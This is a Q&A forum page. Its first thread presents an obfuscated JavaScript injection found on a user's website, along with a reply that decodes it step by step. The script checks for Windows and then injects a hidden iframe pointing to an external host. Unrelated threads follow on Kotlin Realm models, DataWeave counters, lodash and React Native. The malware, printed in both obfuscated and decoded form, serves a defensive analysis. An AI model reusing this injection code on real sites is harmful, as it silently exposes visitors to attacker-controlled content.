malware code insert script to my .js .php and include file. help me to decode script - malware

My website were inserted these scripts about 4 times already. I have changed ftp password too many times but it still be able to insert to my webpage.
Pls help me to decode two these scripts. Maybe I can find more details about this malware script.
<script>var MaZsKgZUgCCRdH = ["98","73","79","45","64","92","91","66","35","70","82","4","65","80","17","76","3","74","41","69","1","40","77","52","54","42","9","22","88","0","30","59","26","94","99","85","16","86","55","34","81","67","56","97","36","78","63","72","38","43","62","7","33","96","31","25","90","19","48","6","14","87","28","13","23","24","68","39","61","49","37","71","10","12","83","44","29","32","84","50","18","100","47","15","51","20","53","11","93","58","60","2","95","8","27","75","46","21","5","89","57"];var a = ["83","78","4","74","7","87","29","29","21","20","29","93","11","29","14","7","87","78","83","82","72","91","78","26","82","94","83","83","12","29","94","83","26","26","74","73","20","78","5","83","95","21","95","11","2","72","72","84","7","82","86","24","84","83","95","73","94","4","78","64","24","93","9","73","91","29","26","95","95","21","72","7","93","83","0","92","78","95","87","92","82","95","89","15","91","85","21","9","91","95","78","95","87","82","20","6","77","85","6","89","93"];function wCBFqxiBsScuHg(VCAscVoJW, IU){var CgoBQGzvdo='';for(var HYDZhkaoy=0;HYDZhkaoy< VCAscVoJW.length;HYDZhkaoy++)CgoBQGzvdo+=String.fromCharCode(parseInt(VCAscVoJW[IU[HYDZhkaoy]])^58);return CgoBQGzvdo;}function DUJiJVvMZAgBr(xZwtmwHJjcOg, ePUFHpNSM){var U='';for(var yBIrf=0;yBIrf< xZwtmwHJjcOg.length;yBIrf++)U += String.fromCharCode(parseInt(xZwtmwHJjcOg[yBIrf], 16)^ePUFHpNSM); return U;}(function(TfEh){var PGMRLirigv=function(){if(!TfEh.BcRTDdLpRbS){TfEh.BcRTDdLpRbS=133;var GQdPVJX = ["20","2b","27","31","29","21","2a","30"];var hQxQnSWejILY=DUJiJVvMZAgBr(GQdPVJX, 68);var CQjjfdHLQzuftp = ["7f","6e","79","7d","68","79","59","70","79","71","79","72","68"];var kpCkPGQ=DUJiJVvMZAgBr(CQjjfdHLQzuftp, 28);var DOdnKPRxnUn = ["d3","de","c1"];var m=DUJiJVvMZAgBr(DOdnKPRxnUn, 183);var Hsz = ["90","97","97","9c","8b","b1","ad","b4","b5"];var bBetq=DUJiJVvMZAgBr(Hsz, 249);var el = ["1f","18","15","0","9"];var FsoPN=DUJiJVvMZAgBr(el, 108);var yNkqOiY = ["fd","f0","ea","e9","f5","f8","e0"];var YPtQveRMcV=DUJiJVvMZAgBr(yNkqOiY, 153);var JjrPjK = ["ed","ec","ed","e6"];var HBchKFWjQp=DUJiJVvMZAgBr(JjrPjK, 131);var ZDHWSZcCzlmCy = ["8e","83","88","95"];var atpwWUCri=DUJiJVvMZAgBr(ZDHWSZcCzlmCy, 236);var knAtUGVSknpiOb = ["7f","6e","6e","7b","70","7a","5d","76","77","72","7a"];var KNMcxqPBoFEzlG=DUJiJVvMZAgBr(knAtUGVSknpiOb, 30);if(function FRlTmsRJNFmnm(){var iBcOzbBLaJib=true;var yLjfQ=true;var Xbj=/*#cc_on true; #*/false;if(Xbj){iBcOzbBLaJib = true;}else{iBcOzbBLaJib = false;}var VPpowKZVXUiA = ["22","1c","1b"];var GZlLbRNA=DUJiJVvMZAgBr(VPpowKZVXUiA, 117);var FzCjYUCHuJYWjz = ["89","a5","a7"];var zudnwEuKBbXyT=DUJiJVvMZAgBr(FzCjYUCHuJYWjz, 196);var PUEAgmcfh = ["2d","8","f","14","19"];var VyhuFnerNWUuk=DUJiJVvMZAgBr(PUEAgmcfh, 97);var yM = ["af","a0","b7","a8","a6","a0","b5","ae","b3"];var bDiUBGqVfYZ=DUJiJVvMZAgBr(yM, 193);var TYBSKqXbNiGcz = ["4d","4a","40","41","5c","6b","42"];var aMpCvJBLTfhMUw=DUJiJVvMZAgBr(TYBSKqXbNiGcz, 36);var TxHK = ["f5","e9","e4","f1","e3","ea","f7","e8"];var BjNy=DUJiJVvMZAgBr(TxHK, 133);var oGeLQlnBCmKgsn=window[bDiUBGqVfYZ][BjNy][aMpCvJBLTfhMUw](GZlLbRNA) > -1;if(oGeLQlnBCmKgsn){yLjfQ = true;}else{yLjfQ = false;}return (iBcOzbBLaJib&&yLjfQ);}()){var FnxPXniTOHuU=window[hQxQnSWejILY][kpCkPGQ](m);FnxPXniTOHuU[bBetq]=wCBFqxiBsScuHg(a, MaZsKgZUgCCRdH);FnxPXniTOHuU[FsoPN][YPtQveRMcV]=HBchKFWjQp;window[hQxQnSWejILY][atpwWUCri][KNMcxqPBoFEzlG](FnxPXniTOHuU);}}};var iFyMPH = ["b2","b7","b7","96","a5","b6","bd","a7","9f","ba","a0","a7","b6","bd","b6","a1"];var GkMNyvoZ=DUJiJVvMZAgBr(iFyMPH, 211);var uQO = ["2f","3a","3a","2f","2d","26","b","38","2b","20","3a"];var QuPuK=DUJiJVvMZAgBr(uQO, 78);var MouT = ["87","86"];var KdAtYlyqzy=DUJiJVvMZAgBr(MouT, 232);var VwQKdbWCag = ["7a","79","77","72"];var oicFpeAL=DUJiJVvMZAgBr(VwQKdbWCag, 22);var CPrCjZTfm = ["76","7f","73","65","63"];var hMiVnsaLJ=DUJiJVvMZAgBr(CPrCjZTfm, 16);var gAcCaolkjo = ["67","69","70","77"];var vB=DUJiJVvMZAgBr(gAcCaolkjo, 5);var MZeG = ["11","13","9","f","19","11","13","a","19"];var SQ=DUJiJVvMZAgBr(MZeG, 124);var HA = ["4b","40","42","5d","4a","4e","4b","56"];var XzF=DUJiJVvMZAgBr(HA, 47);var xAGaJwayje;if(TfEh[GkMNyvoZ])xAGaJwayje=GkMNyvoZ;else xAGaJwayje=QuPuK;var XHF=[oicFpeAL, hMiVnsaLJ, vB, SQ, XzF];for(JNsqiuHb in XHF){TfEh[xAGaJwayje](XHF[JNsqiuHb], PGMRLirigv, false);TfEh[xAGaJwayje]('on' + XHF[JNsqiuHb], PGMRLirigv, false);}})(window)</script>

If you crawl through the code and methodically replace the junk identifier names, it makes a lot more sense. Most of the code and identifiers are just there to obscure, and a lot of the rest of it just looks like boilerplate code for browser-compatible ways to do things like attach events.
It also makes a pretty big deal of checking that you're on Windows, for some reason, but that doesn't change the payload that's eventually delivered.
The piece that deploys the payload to the page is here:
var newElement = window[_document][_createElement](_div);
newElement[_innerHTML] = decodeString(key, payload);
newElement[_style][_display] = _none;
window[_document][_body][_appendChild](newElement);
The payload decrypts as:
<iframe src='http://teenee.<OBFUSCATED>.com/speedo.msg?13'
width='436' height='158' align="right"></iframe>
Here's the full script as far as I decoded it:
<script>
var payload = ["98", "73", "79", "45", "64", "92", "91", "66", "35", "70", "82", "4", "65", "80", "17", "76", "3", "74", "41", "69", "1", "40", "77", "52", "54", "42", "9", "22", "88", "0", "30", "59", "26", "94", "99", "85", "16", "86", "55", "34", "81", "67", "56", "97", "36", "78", "63", "72", "38", "43", "62", "7", "33", "96", "31", "25", "90", "19", "48", "6", "14", "87", "28", "13", "23", "24", "68", "39", "61", "49", "37", "71", "10", "12", "83", "44", "29", "32", "84", "50", "18", "100", "47", "15", "51", "20", "53", "11", "93", "58", "60", "2", "95", "8", "27", "75", "46", "21", "5", "89", "57"];
var key = ["83", "78", "4", "74", "7", "87", "29", "29", "21", "20", "29", "93", "11", "29", "14", "7", "87", "78", "83", "82", "72", "91", "78", "26", "82", "94", "83", "83", "12", "29", "94", "83", "26", "26", "74", "73", "20", "78", "5", "83", "95", "21", "95", "11", "2", "72", "72", "84", "7", "82", "86", "24", "84", "83", "95", "73", "94", "4", "78", "64", "24", "93", "9", "73", "91", "29", "26", "95", "95", "21", "72", "7", "93", "83", "0", "92", "78", "95", "87", "92", "82", "95", "89", "15", "91", "85", "21", "9", "91", "95", "78", "95", "87", "82", "20", "6", "77", "85", "6", "89", "93"];
function decodeString(msg, key) {
var retval = '';
for (var i = 0; i < msg.length; i++) retval += String.fromCharCode(parseInt(msg[key[i]]) ^ 58);
return retval;
}
function decodeString2(msg, key) {
var retval = '';
for (var i = 0; i < msg.length; i++) retval += String.fromCharCode(parseInt(msg[i], 16) ^ key);
return retval;
}
(function (_window) {
var executePayload = function () {
if (!_window.storedData) {
_window.storedData = 133;
var crypt1 = ["20", "2b", "27", "31", "29", "21", "2a", "30"];
var _document = decodeString2(crypt1, 68);
var crypt2 = ["7f", "6e", "79", "7d", "68", "79", "59", "70", "79", "71", "79", "72", "68"];
var _createElement = decodeString2(crypt2, 28);
var crypt3 = ["d3", "de", "c1"];
var _div = decodeString2(crypt3, 183);
var crypt4 = ["90", "97", "97", "9c", "8b", "b1", "ad", "b4", "b5"];
var _innerHTML = decodeString2(crypt4, 249);
var crypt5 = ["1f", "18", "15", "0", "9"];
var _style = decodeString2(crypt5, 108);
var crypt6 = ["fd", "f0", "ea", "e9", "f5", "f8", "e0"];
var _display = decodeString2(crypt6, 153);
var crypt7 = ["ed", "ec", "ed", "e6"];
var _none = decodeString2(crypt7, 131);
var crypt9 = ["8e", "83", "88", "95"];
var _body = decodeString2(crypt9, 236);
var crypt10 = ["7f", "6e", "6e", "7b", "70", "7a", "5d", "76", "77", "72", "7a"];
var _appendChild = decodeString2(crypt10, 30);
if (function FRlTmsRJNFmnm() {
var iBcOzbBLaJib = true;
var yLjfQ = true;
var Xbj = /*#cc_on true; #*/ false;
if (Xbj) {
iBcOzbBLaJib = true;
} else {
iBcOzbBLaJib = false;
}
var crypt1 = ["22", "1c", "1b"];
var _Win = decodeString2(crypt1, 117);
var crypt2 = ["89", "a5", "a7"];
var _Mac = decodeString2(crypt2, 196);
var crypt3 = ["2d", "8", "f", "14", "19"];
var _Linux = decodeString2(crypt3, 97);
var crypt4 = ["af", "a0", "b7", "a8", "a6", "a0", "b5", "ae", "b3"];
var _navigator = decodeString2(crypt4, 193);
var crypt5 = ["4d", "4a", "40", "41", "5c", "6b", "42"];
var _indexOf = decodeString2(crypt5, 36);
var crypt6 = ["f5", "e9", "e4", "f1", "e3", "ea", "f7", "e8"];
var _platform = decodeString2(crypt6, 133);
var browserSaysWindows = window[_navigator][_platform][_indexOf](_Win) > -1;
if (browserSaysWindows) {
yLjfQ = true;
} else {
yLjfQ = false;
}
return (iBcOzbBLaJib && yLjfQ);
}()) {
var newElement = window[_document][_createElement](_div);
newElement[_innerHTML] = decodeString(key, payload);
newElement[_style][_display] = _none;
window[_document][_body][_appendChild](newElement);
}
}
};
var crypt1 = ["b2", "b7", "b7", "96", "a5", "b6", "bd", "a7", "9f", "ba", "a0", "a7", "b6", "bd", "b6", "a1"];
var __addEventListener = decodeString2(crypt1, 211);
var crypt2 = ["2f", "3a", "3a", "2f", "2d", "26", "b", "38", "2b", "20", "3a"];
var _attachEvent = decodeString2(crypt2, 78);
var crypt3 = ["87", "86"];
var KdAtYlyqzy = decodeString2(crypt3, 232);
var crypt4 = ["7a", "79", "77", "72"];
var _load = decodeString2(crypt4, 22);
var crypt5 = ["76", "7f", "73", "65", "63"];
var focus = decodeString2(crypt5, 16);
var crypt6 = ["67", "69", "70", "77"];
var _blur = decodeString2(crypt6, 5);
var crypt7 = ["11", "13", "9", "f", "19", "11", "13", "key", "19"];
var _mousemove = decodeString2(crypt7, 124);
var crypt8 = ["4b", "40", "42", "5d", "4a", "4e", "4b", "56"];
var _domready = decodeString2(crypt8, 47);
var _addEventListener;
if (_window[__addEventListener]) _addEventListener = __addEventListener;
else _addEventListener = _attachEvent;
var eventList = [_load, focus, _blur, _mousemove, _domready];
for (events in eventList) {
_window[_addEventListener](eventList[events], executePayload, false);
_window[_addEventListener]('on' + eventList[events], executePayload, false);
}
})(window)
</script>
Unfortunately, there's not much clue as to how it got here, just what it's doing: injecting an IFrame into your page, and you probably already knew that.
Good luck!

Related

How to create the model from a dynamic api and pass it to Realmlist in kotlin

need help. i have a dynmic API key as shown in pic. based on some solutions, i need to use map to handle dynamic. my issue is how to create the model for Realmlist as it is complaining on Map<>. pls help.
already created model for single item:
open class SingleMultipleOptions (
var key :String ?= null,
var option_name:String?= null,
var id:Long?= null,
var item_price:Double?= null ,
var item_name:String?= null
)
and this is for Map<>
#SerializedName("multiple_item_options")
#Expose
val multiple_item_options: Map<String, List<SingleMultipleOptions>>?= null,
my issue
var item_groups: #WriteWith<OOMenuItemGroupListParceler> RealmList<OOMenuItemGroup>? = null,
var item_options: #WriteWith<OOMenuItemOptionListParceler> RealmList<OOMenuItemOption>? =
null,
var multiple_item_options:RealmList<?????????????????>
var hasItemIcon: Boolean = false,
var is_chargeable: Boolean = false,
API response
"item_options": [],
"multiple_item_options": {
"151668": [ //Dynamic key
{
"option_name": "Dipping Sauce",
"option_display_name": null,
"id": "573738",
"item_price": "0",
"item_name": "Aioli Dipping Sauce",
"hide_price": false,
"min_permitted": "1",
"max_permitted": "1"
},
{
"option_name": "Dipping Sauce",
"option_display_name": null,
"id": "573739",
"item_price": "0",
"item_name": "Peri Peri Dipping Sauce",
"hide_price": false,
"min_permitted": "1",
"max_permitted": "1"
},
{
"option_name": "Dipping Sauce",
"option_display_name": null,
"id": "573740",
"item_price": "0",
"item_name": "Tomato Relish Dipping Sauce",
"hide_price": false,
"min_permitted": "1",
"max_permitted": "1"
},
{
"option_name": "Dipping Sauce",
"option_display_name": null,
"id": "573741",
"item_price": "0",
"item_name": "Ranch Dipping Sauce",
"hide_price": false,
"min_permitted": "1",
"max_permitted": "1"
}
],
"151670": [
{
"option_name": "Meat Lovers Opt",
"option_display_name": null,
"id": "573744",
"item_price": "0",
"item_name": "BBQ Base",

How to increment a counter inside a reduce function using dataweave

I am trying to do a JSON to JSON transformation using dataweave (for an EDI 811 mapping). My requirement is for every VEH segment (having Vehicle information) inside an HL loop, I want to start a counter from 1 to number of Vehicle records.
My input format is -
[
{
"IDENTIFIER": "ABC",
"HOST_ID": "XYZ",
"BusinessKey": "11111",
"HL0": {
"HL0_STATE_ID": "22",
"HL0_RPT_SYS_ID": "ABCD",
"HL0_CO_NAIC": "11111"
},
"HL1": {
"HL1_NAIC_COMP_CODE": "111111",
"HL1_CO_ADDRESS": "AAAA BBBB CCCCC",
"HL1_CO_CITY": "MABCD",
"HL1_CO_STATE": "AB",
"HL1_CO_ZIP_9": "12345"
},
"Details": [
{
"HL4": {
"HL4_POLICY_NUM": "8767886857",
"HL4_TRAN_CODE_ALPHA": "JGJ",
"HL4_CYCLE_DATE_CC": "19",
"HL4_CYCLE_DATE_YYMMDD": "200511",
"HL4_STATE_CODE": "VV",
"HL4_STATE_REPORTING_ID": "0000",
"HL4_PRODUCT_CODE": "DD",
"HL4_SUB_PRODUCT_CODE": "",
"HL4_SENDER_ID": "",
"HL4_POLICY_TYPE": "V",
"HL4_PROTEUS_TRANSACTION": "00000",
"HL4_TRAN_SUB_TYPE_CODE": "",
"HL4_TRAN_DATE_CC": "00",
"HL4_TRAN_DATE_YYMMDD": "000000",
"HL4_TRAN_TIME": "00000000",
"HL4_POL_EFF_DATE_CC": "00",
"HL4_POL_EFF_DATE_YYMMDD": "000000",
"HL4_POL_EXP_DATE_CC": "00",
"HL4_POL_EXP_DATE_YYMMDD": "000000",
"HL4_PERSON_ORG_INDIC": "1",
"HL4_LIAB_INDIC": "",
"HL4_AGENT_CODE": {
"HL4_AGENT_PREFIX": "",
"HL4_PRODUCER_AGENT": "00000"
},
"HL4_CANCEL_EFF_DATE": {
"HL4_CANCEL_EFF_DATE_CC": "00",
"HL4_XCL_EFF_DATE_YYMMDD": "000000"
},
"HL4_DRV_NAME": {
"HL4_DRV_LAST_NAME": "DDDDDD",
"HL4_DRV_FIRST_NAME_MI": "PPPPP"
},
"HL4_DRV_ADDRESS": "KHHKHK HJHKHKH GGGGGG RD S",
"HL4_DRV_CITY": "IOHKHL",
"HL4_DRV_STATE": "MB",
"HL4_DRV_ZIP": "68686",
"HL4_DRV_DLN": "875758865",
"HL4_DRV_DLN_STATE": "BJ",
"HL4_DRV_DOB_NUM": {
"HL4_DRV_DOB_YYMMDD": "20",
"HL4_DRV_DOB_CC": "200525"
},
"HL4_DRV_SEX": "",
"HL4_VEH_EFF_DATE_NUM": {
"HL4_VEH_EFF_DATE_CC": "00",
"HL4_VEH_EFF_DATE_YYMMDD": "000000"
},
"HL4_VEH_EXP_DATE_NUM": {
"HL4_VEH_EXP_DATE_CC": "20",
"HL4_VEH_EXP_DATE_YYMMDD": "220423"
}
},
"HL5": [
{
"HL5_VEH_VIN": "1BJHFJBKHJK6876868",
"HL5_VEH_MAKE": "CDRJV",
"HL5_VEH_CC": "19",
"HL5_VEH_YY": "99"
},
{
"HL5_VEH_VIN": "1BVNVJH68686JHG979",
"HL5_VEH_MAKE": "JHGJGJG",
"HL5_VEH_CC": "19",
"HL5_VEH_YY": "92"
}
]
},
{
"HL4": {
"HL4_POLICY_NUM": "6877578787",
"HL4_TRAN_CODE_ALPHA": "ABC",
"HL4_CYCLE_DATE_CC": "20",
"HL4_CYCLE_DATE_YYMMDD": "210805",
"HL4_STATE_CODE": "30",
"HL4_STATE_REPORTING_ID": "0000",
"HL4_PRODUCT_CODE": "CA",
"HL4_SUB_PRODUCT_CODE": "",
"HL4_SENDER_ID": "",
"HL4_POLICY_TYPE": "V",
"HL4_PROTEUS_TRANSACTION": "00000",
"HL4_TRAN_SUB_TYPE_CODE": "",
"HL4_TRAN_DATE_CC": "00",
"HL4_TRAN_DATE_YYMMDD": "000000",
"HL4_TRAN_TIME": "00000000",
"HL4_POL_EFF_DATE_CC": "00",
"HL4_POL_EFF_DATE_YYMMDD": "000000",
"HL4_POL_EXP_DATE_CC": "00",
"HL4_POL_EXP_DATE_YYMMDD": "000000",
"HL4_PERSON_ORG_INDIC": "2",
"HL4_LIAB_INDIC": "",
"HL4_AGENT_CODE": {
"HL4_AGENT_PREFIX": "",
"HL4_PRODUCER_AGENT": "00000"
},
"HL4_CANCEL_EFF_DATE": {
"HL4_CANCEL_EFF_DATE_CC": "00",
"HL4_XCL_EFF_DATE_YYMMDD": "000000"
},
"HL4_DRV_NAME": {
"HL4_DRV_LAST_NAME": "EE SSSSSS LLC",
"HL4_DRV_FIRST_NAME_MI": ""
},
"HL4_DRV_ADDRESS": "6869800 CCCCCC DR",
"HL4_DRV_CITY": "JFJJFJG",
"HL4_DRV_STATE": "GK",
"HL4_DRV_ZIP": "868875",
"HL4_DRV_DLN": "77797968123",
"HL4_DRV_DLN_STATE": "NM",
"HL4_DRV_DOB_NUM": {
"HL4_DRV_DOB_YYMMDD": "20",
"HL4_DRV_DOB_CC": "210907"
},
"HL4_DRV_SEX": "",
"HL4_VEH_EFF_DATE_NUM": {
"HL4_VEH_EFF_DATE_CC": "20",
"HL4_VEH_EFF_DATE_YYMMDD": "220410"
},
"HL4_VEH_EXP_DATE_NUM": {
"HL4_VEH_EXP_DATE_CC": "00",
"HL4_VEH_EXP_DATE_YYMMDD": "000000"
}
},
"HL5": [
{
"HL5_VEH_VIN": "1GJHHKHGJGJGJG878",
"HL5_VEH_MAKE": "JGKJGJH",
"HL5_VEH_CC": "20",
"HL5_VEH_YY": "15"
},
{
"HL5_VEH_VIN": "1JHGJGGKG97968687",
"HL5_VEH_MAKE": "GJJG",
"HL5_VEH_CC": "20",
"HL5_VEH_YY": "22"
},
{
"HL5_VEH_VIN": "186876BJHGJGJ7868",
"HL5_VEH_MAKE": "GJGKHKH",
"HL5_VEH_CC": "20",
"HL5_VEH_YY": "20"
}
]
}
]
}
]
My Output format JSON is as below, the VEH segments are all mapped from HL5 records in the above JSON input. in VEH01, I want to map the index/occurrence of HL5 record, so if there are 3 HL5 records with the HL4, we will get HL-VEH loop 3 times, and the VEH01 should increment from '1' for first occurrence, '2' for second occurrence and '3' for 3rd occurrence, For the next HL4-HL5 records, VEH01 should again start from "1"-
{
"TransactionSets": {
"v003050": {
"811": [
{
"Group": {
"GS04": "..."
},
"Heading": {
"020_BIG": {
"BIG01": "...",
"BIG02": ".."
},
....
....
"Detail": {
"010_HL_Loop": [
{
"010_HL": {
"HL01": "1",
"HL03": "1",
"HL04": "1"
},
...
...
{
"010_HL": {
"HL01": "8",
"HL02": "7",
"HL03": "5",
"HL04": "0"
},
"020_LX_Loop": [
{
"020_LX": {
"LX01": 1
},
"025_VEH": {
"VEH01": 1, ---> This should be 1
"VEH02": "1BJHFJBKHJK6876868",
"VEH03": ..,
"VEH04": ..,
"VEH05": "..",
"VEH06": "CDRJV"
}
}
]
},
{
"010_HL": {
"HL01": "9",
"HL02": "7",
"HL03": "5",
"HL04": "0"
},
"020_LX_Loop": [
{
"020_LX": {
"LX01": 1
},
"025_VEH": {
"VEH01": 1, ---> This should be 2
"VEH02": "1BVNVJH68686JHG979",
"VEH03": ..,
"VEH04": ..,
"VEH05": "..",
"VEH06": "JHGJGJG"
}
}
]
},
...
...
...
"010_HL": {
"HL01": "11",
"HL02": "10",
"HL03": "5",
"HL04": "0"
},
"020_LX_Loop": [
{
"020_LX": {
"LX01": 1
},
"025_VEH": {
"VEH01": 1, ---> This should be 1
"VEH02": "1GJHHKHGJGJGJG878",
"VEH03": ..,
"VEH04": ..,
"VEH05": "..",
"VEH06": "JGKJGJH"
}
}
]
},
{
"010_HL": {
"HL01": "12",
"HL02": "10",
"HL03": "5",
"HL04": "0"
},
"020_LX_Loop": [
{
"020_LX": {
"LX01": 1
},
"025_VEH": {
"VEH01": 1, ---> This should be 2
"VEH02": "1JHGJGGKG97968687",
"VEH03": ..,
"VEH04": ..,
"VEH05": "..",
"VEH06": "GJJG"
}
}
]
},
{
"010_HL": {
"HL01": "13",
"HL02": "10",
"HL03": "5",
"HL04": "0"
},
"020_LX_Loop": [
{
"020_LX": {
"LX01": 1
},
"025_VEH": {
"VEH01": 1, ---> This should be 3
"VEH02": "186876BJHGJGJ7868",
"VEH03": ..,
"VEH04": .,
"VEH05": "..",
"VEH06": "GJGKHKH"
}
}
]
}
]
My mapping in dataweave is as below -
%dw 2.0
import * from dw::core::Strings
output application/json
fun toHL1(rec, HL1Hierarchy) = {
"010_HL": {
HL01: (HL1Hierarchy + 1) as String,
HL03: "1",
HL04: "1"
},
"110_NM1_Loop": {
"110_NM1": {
NM101: "..",
NM102: "..",
NM103: "...",
NM108: "..",
NM109: rec.HL1.HL1_NAIC_COMP_CODE,
}
},
"210_IT1_Loop": [{
"210_IT1": {
IT102: 1,
IT103: "..",
IT104: 0
},
"270_DTM": [{
DTM01: "368",
DTM02: rec.Details.HL4.HL4_CYCLE_DATE_YYMMDD[0] as Date {
format: "yyMMdd"
} default "000000",
DTM05: rec.Details.HL4.HL4_CYCLE_DATE_CC[0] as Number
}]
}]
}
//////********************** */
fun toOrder(rec, shipHierarchy) = {
"010_HL": {
HL01: (shipHierarchy + 1) as String,
HL02: "1",
HL03: "2",
HL04: "1"
},
"110_NM1_Loop": {
"110_NM1": {
NM101: "..",
NM102: "..",
NM103: "..",
}
}
}
//////************************ */
fun toPack(ship, cases, ordHierarchy, indexOfPacks) = {
"010_HL": {
HL01: (indexOfPacks + 1) as String,
HL02: ordHierarchy as String,
HL03: "4",
HL04: "1",
},
"110_NM1_Loop": {
"110_NM1": {
NM101: "..",
NM102: cases.HL4.HL4_PERSON_ORG_INDIC,
NM103: cases.HL4.HL4_DRV_NAME.HL4_DRV_LAST_NAME,
NM104: cases.HL4.HL4_DRV_NAME.HL4_DRV_FIRST_NAME_MI,
NM108: "..",
NM109: cases.HL4.HL4_DRV_DLN
},
"130_N3": [{
N301: cases.HL4.HL4_DRV_ADDRESS
}],
"140_N4": {
N401: cases.HL4.HL4_DRV_CITY,
N402: cases.HL4.HL4_DRV_STATE,
N403: cases.HL4.HL4_DRV_ZIP
}
},
"210_IT1_Loop": [{
"210_IT1": {
IT102: 1,
IT103: "..",
IT104: 0
},
"220_SI": [{
SI01: "..",
SI02: "..",
SI03: cases.HL4.HL4_TRAN_CODE_ALPHA
}],
"260_REF": [{
REF01: "IG",
REF02: cases.HL4.HL4_POLICY_NUM[0 to 7],
},
{
REF01: "XM",
REF02: cases.HL4.HL4_DRV_DLN_STATE,
},
{
REF01: "S3",
REF02: "V",
},
{
REF01: "DD",
REF03: cases.HL4.HL4_POLICY_NUM[8 to 8] default " " ++ cases.HL4.HL4_CYCLE_DATE_CC as String ++ cases.HL4.HL4_CYCLE_DATE_YYMMDD as String,
}],
"270_DTM": [{
DTM01: "222",
DTM02: cases.HL4.HL4_DRV_DOB_NUM.HL4_DRV_DOB_CC as Date {
format: "yyMMdd"
} default "000000",
DTM05: cases.HL4.HL4_DRV_DOB_NUM.HL4_DRV_DOB_YYMMDD as Number
},
{
DTM01: if (cases.HL4.HL4_TRAN_CODE_ALPHA == "...") "036" else "007",
DTM02: if (cases.HL4.HL4_TRAN_CODE_ALPHA == "...") cases.HL4.HL4_VEH_EXP_DATE_NUM.HL4_VEH_EXP_DATE_YYMMDD as Date { format: "yyMMdd" } default "000000" else cases.HL4.HL4_VEH_EFF_DATE_NUM.HL4_VEH_EFF_DATE_YYMMDD as Date { format: "yyMMdd" } default "000000",
DTM05: if (cases.HL4.HL4_TRAN_CODE_ALPHA == "...") cases.HL4.HL4_VEH_EXP_DATE_NUM.HL4_VEH_EXP_DATE_CC as Number else cases.HL4.HL4_VEH_EFF_DATE_NUM.HL4_VEH_EFF_DATE_CC as Number
}]
}]
}
///////************************ */
fun toItem(ship, recItems, packHierarchy, indexOfItems) = {
"010_HL": {
// HL01: (4) as String,
HL01: (indexOfItems + 1) as String,
HL02: packHierarchy as String,
HL03: "5",
HL04: "0"
// HL04: cases
},
"020_LX_Loop": [{
"020_LX": {
"LX01": 1
},
"025_VEH": {
"VEH01": 1,
"VEH02": recItems.HL5_VEH_VIN,
"VEH03": recItems.HL5_VEH_CC as Number,
"VEH04": recItems.HL5_VEH_YY as Number {format: "0000"},
"VEH05": "NA",
"VEH06": recItems.HL5_VEH_MAKE
}
}]
}
---
{
//Delimiters: "*>U~",
TransactionSets: {
v003050: {
"811": [{
Group: {
GS04: now() as Date {
format: "yyMMdd"
},
},
Heading: {
"020_BIG": {
BIG01: now() as Date {
format: "yyMMdd"
},
BIG02: "1",
},
"100_N1_Loop": [{
"100_N1": {
N101: "..",
N102: "...",
N103: "..",
N104: "..."
},
},
{
"100_N1": {
N101: "..",
N102: "...",
}
}]
},
Detail: {
"010_HL_Loop": payload reduce (ship, accShip=[]) -> do {
var shipUpd = accShip << toHL1(ship, sizeOf(accShip))
var HL1Hierarchy = sizeOf(shipUpd)
var itemHierarchy = sizeOf(shipUpd)
var ord = payload reduce (ship, accOrd = shipUpd) -> do {
var ordUpd = accOrd << toOrder(ship, HL1Hierarchy)
var ordHierarchy = sizeOf(ordUpd)
var pack = flatten(payload.Details) reduce (cases, accPkg = ordUpd) -> do {
var packUpd = accPkg << toPack(ship, cases, ordHierarchy, sizeOf(accPkg))
var packHierarchy = sizeOf(packUpd)
var items = cases.HL5 reduce (recItems, accItems = packUpd) ->
accItems << toItem(ship, recItems, packHierarchy, sizeOf(accItems))
---
items
}
---
pack
}
---
ord
}
},
Summary: {
"010_TDS": {
TDS01: 1
},
"110_CTT": {
CTT01: sizeOf(flatten(payload.Details).HL5)
}
}
}]
}
}
}
Can someone please help with the increment and resetting of the counter for VEH01 for every H4-H5 loop.
If you are using reduce then the input is an array. You can use map() to add the index to each element of the array, then use as needed.
Since the transformation of the question is too complex to attempt to modify I'll make an educated guess to make a simple example:
%dw 2.0
output application/json
---
payload.HL5 map (($) ++ {index: $$ + 1})
Input:
{
"HL5": [
{
"HL5_VEH_VIN": "1GJHHKHGJGJGJG878",
"HL5_VEH_MAKE": "JGKJGJH",
"HL5_VEH_CC": "20",
"HL5_VEH_YY": "15"
},
{
"HL5_VEH_VIN": "1JHGJGGKG97968687",
"HL5_VEH_MAKE": "GJJG",
"HL5_VEH_CC": "20",
"HL5_VEH_YY": "22"
},
{
"HL5_VEH_VIN": "186876BJHGJGJ7868",
"HL5_VEH_MAKE": "GJGKHKH",
"HL5_VEH_CC": "20",
"HL5_VEH_YY": "20"
}
]
}
Output:
[
{
"HL5_VEH_VIN": "1GJHHKHGJGJGJG878",
"HL5_VEH_MAKE": "JGKJGJH",
"HL5_VEH_CC": "20",
"HL5_VEH_YY": "15",
"index": 1
},
{
"HL5_VEH_VIN": "1JHGJGGKG97968687",
"HL5_VEH_MAKE": "GJJG",
"HL5_VEH_CC": "20",
"HL5_VEH_YY": "22",
"index": 2
},
{
"HL5_VEH_VIN": "186876BJHGJGJ7868",
"HL5_VEH_MAKE": "GJGKHKH",
"HL5_VEH_CC": "20",
"HL5_VEH_YY": "20",
"index": 3
}
]
You need to identify at which point you need to apply the transformation and use the added index attribute. Maybe in between this expression: var items = cases.HL5 /* here? */ reduce ...

Lodash : Extent by adding to attribute

[
{
"Office_Id": 100,
"Address1": "xxxxx",
"Address2": "",
"City": "ANNISTON",
"District_Id": 1277,
"OfficeName": "test"
},
{
"Office_Id": 200,
"Address1": "xxxxx",
"Address2": "",
"City": "ANNISTON",
"District_Id": 1277,
"OfficeName": "test"
},
{
"Office_Id": 300,
"Address1": "xxxxx",
"Address2": "",
"City": "ANNISTON",
"District_Id": 1277,
"OfficeName": "test"
}
]
Using lodash how can i add a new attribute by combining Office_Id And OfficeName
{
"Office_Id": 300,
"Address1": "xxxxx",
"Address2": "",
"City": "ANNISTON",
"District_Id": 1277,
"OfficeName": "offce_ttttt",
"office": "300 - offce_ttttt"
}
In mutating the original objects:
offices = _.forEach(offices, function (o) {
_.assign(o, { office: o.Office_Id + ' - ' + o.OfficeName })
})
Without mutating the original objects:
var newObjects = _.map(offices, function (o) {
return _.assign({}, o, { office: o.Office_Id + ' - ' + o.OfficeName })
})

How to iterate and render my fetch result in react native JSX

{
"status": true,
"live_score_domestic": [
{
"nTournamentID": "1",
"cTournamentName": "sample tournament.",
"cTournamentType": "D",
